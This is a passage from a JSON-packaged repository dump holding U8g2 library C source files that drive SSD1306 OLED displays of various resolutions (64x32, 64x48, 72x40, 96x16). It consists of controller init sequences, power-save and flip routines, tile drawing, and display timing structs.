U8X8_CA(0x0a8, 0x02f),\t\t/* multiplex ratio: changed from 0x1f to 0x2f */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable */\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1 */\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n  U8X8_CA(0x081, 0x0cf),\t\t/* [2] set contrast control datasheet: 0xcf */\n  U8X8_CA(0x0d9, 0x022),\t\t/* [2] pre-charge period 0x022/f1 */\n  U8X8_CA(0x0db, 0x000),\t\t/* vcomh deselect level */\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_ssd1306_64x32_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_64x32_display_info);\n      return 1;\n    }\n    else if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_noname_init_seq);    \n      return 1;\n    }\n    return u8x8_d_ssd1306_64x32_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n/*======================================================*/\n\nstatic const uint8_t u8x8_d_ssd1306_64x32_1f_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n    \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x01f),\t\t/* multiplex ratio: changed from 0x1f to 0x2f, 23 Sep 17: changed back to 1f */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable */\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1 */\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n  U8X8_CA(0x081, 0x0cf),\t\t/* [2] set contrast control datasheet: 0xcf */\n  U8X8_CA(0x0d9, 0x022),\t\t/* [2] pre-charge period 0x022/f1 */\n  U8X8_CA(0x0db, 0x000),\t\t/* vcomh deselect level */\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_ssd1306_64x32_1f(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_64x32_display_info);\n      return 1;\n    }\n    else if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_1f_init_seq);    \n      return 1;\n    }\n    return u8x8_d_ssd1306_64x32_generic(u8x8, msg, arg_int, arg_ptr);\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_64x48.c",
    "content": "/*\n\n  u8x8_d_ssd1306_64x48.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\n/* EastRising 0.66 OLED */\nstatic const uint8_t u8x8_d_ssd1306_64x48_er_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x02f),\t\t/* multiplex ratio, 0.66 OLED: changed from 0x1f to 0x2f */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset, 0.66 OLED  */\n  U8X8_C(0x040),\t\t                /* set display start line to 0, 0.66 OLED */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.66 OLED  0x14*/\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1, 0.66 OLED  */\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse, 0.66 OLED  */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.66 OLED */\n  U8X8_CA(0x081, 0x0cf),\t\t/* [2] set contrast control, 0.66 OLED datasheet: 0xcf */\n  U8X8_CA(0x0d9, 0x022),\t\t/* [2] pre-charge period 0x022/f1, 0.66 OLED datasheet: 0x22 */\n  U8X8_CA(0x0db, 0x000),\t\t/* vcomh deselect level, 0.66 OLED datasheet: 0x00 */\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_64x48_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_64x48_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_64x48_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_64x48_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_ssd1306_64x48_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_64x48_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x48_er_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x48_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x48_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x48_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x48_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ssd1306_64x48_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 8,\n  /* tile_height = */ 6,\n  /* default_x_offset = */ 32,\n  /* flipmode_x_offset = */ 32,\n  /* pixel_width = */ 64,\n  /* pixel_height = */ 48\n};\n\n/* East Rising 0.66\" OLED */\nuint8_t u8x8_d_ssd1306_64x48_er(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_64x48_display_info);\n      return 1;\n    }\n    else if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x48_er_init_seq);    \n      return 1;\n    }\n    return u8x8_d_ssd1306_64x48_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_72x40.c",
    "content": "/*\n\n  u8x8_d_ssd1306_72x40.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2019, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\n/* \nEastRising 0.41 OLED \nhttps://www.buydisplay.com/default/white-0-42-inch-oled-display-panel-72x40-iic-i2c-serial-spi-ssd1306\n\n\n    command(0xae);//--turn off oled panel\n\t\n    command(0xd5);//--set display clock divide ratio/oscillator frequency\n    command(0x80);//--set divide ratio\n\n    command(0xa8);//--set multiplex ratio\n    command(0x27);//--1/40 duty\n\n    command(0xd3);//-set display offset\n    command(0x00);//-not offset\n\n    command(0xad);//--Internal IREF Setting\t\n    command(0x30);//--\n\n    command(0x8d);//--set Charge Pump enable/disable\n    command(0x14);//--set(0x10) disable\n\n    command(0x40);//--set start line address\n\n    command(0xa6);//--set normal display\n\n    command(0xa4);//Disable Entire Display On\n\n    command(0xa1);//--set segment re-map 128 to 0\n\n    command(0xC8);//--Set COM Output Scan Direction 64 to 0\n\n    command(0xda);//--set com pins hardware configuration\n    command(0x12);\n\n    command(0x81);//--set contrast control register\n    command(0xaf);\n\n    command(0xd9);//--set pre-charge period\n    command(0x22);\n\n    command(0xdb);//--set vcomh\n    command(0x20);\n\n    command(0xaf);//--turn on oled panel\n\n\n*/\nstatic const uint8_t u8x8_d_ssd1306_72x40_er_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x027),\t\t/* multiplex ratio, 0.42 OLED: 0x27*/\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset, 0.42 OLED  */\n  U8X8_CA(0x0ad, 0x030),\t\t/* Internal IREF Setting for the 0.42 OLED, see also issue https://github.com/olikraus/u8g2/issues/1047 */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.66 OLED  0x14*/\n\n  U8X8_C(0x040),\t\t                /* set display start line to 0, 0.66 OLED */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  \n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1, 0.66 OLED  */\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse, 0.66 OLED  */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.66 OLED */\n  U8X8_CA(0x081, 0x0af),\t\t/* [2] set contrast control, 0.42 OLED */\n  U8X8_CA(0x0d9, 0x022),\t\t/* [2] pre-charge period 0x022/f1, 0.42 OLED datasheet: 0x22 */\n  U8X8_CA(0x0db, 0x020),\t\t/* vcomh deselect level, 0.42 OLED datasheet: 0x20 */\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_72x40_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_72x40_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_72x40_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_72x40_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_ssd1306_72x40_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_72x40_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_72x40_er_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_72x40_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_72x40_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_72x40_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_72x40_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ssd1306_72x40_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 9,\n  /* tile_height = */ 5,\n  /* default_x_offset = */ 28,\n  /* flipmode_x_offset = */ 28,\n  /* pixel_width = */ 72,\n  /* pixel_height = */ 40\n};\n\n/* \nEastRising 0.41 OLED \nhttps://www.buydisplay.com/default/white-0-42-inch-oled-display-panel-72x40-iic-i2c-serial-spi-ssd1306\n*/\nuint8_t u8x8_d_ssd1306_72x40_er(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_72x40_display_info);\n      return 1;\n    }\n    else if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_72x40_er_init_seq);    \n      return 1;\n    }\n    return u8x8_d_ssd1306_72x40_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_96x16.c",
    "content": "/*\n\n  u8x8_d_ssd1306_96x16.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\n/* EastRising 0.69 OLED */\nstatic const uint8_t u8x8_d_ssd1306_96x16_er_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x00f),\t\t/* multiplex ratio, 0.69 OLED: 0x0f */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset, 0.69 OLED  */\n  U8X8_C(0x040),\t\t                /* set display start line to 0, 0.69 OLED */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.66 OLED  0x14*/\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1, 0.66 OLED  */\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse, 0.66 OLED  */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x002),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.66 OLED */\n  U8X8_CA(0x081, 0x0af),\t\t/* [2] set contrast control, 0.69 OLED datasheet: 0xaf */\n  U8X8_CA(0x0d9, 0x0f1),\t\t/* [2] pre-charge period 0x0f1, 0.69 OLED datasheet: 0xf1 */\n  U8X8_CA(0x0db, 0x020),\t\t/* vcomh deselect level, 0.69 OLED datasheet: 0x20 */\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_96x16_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t          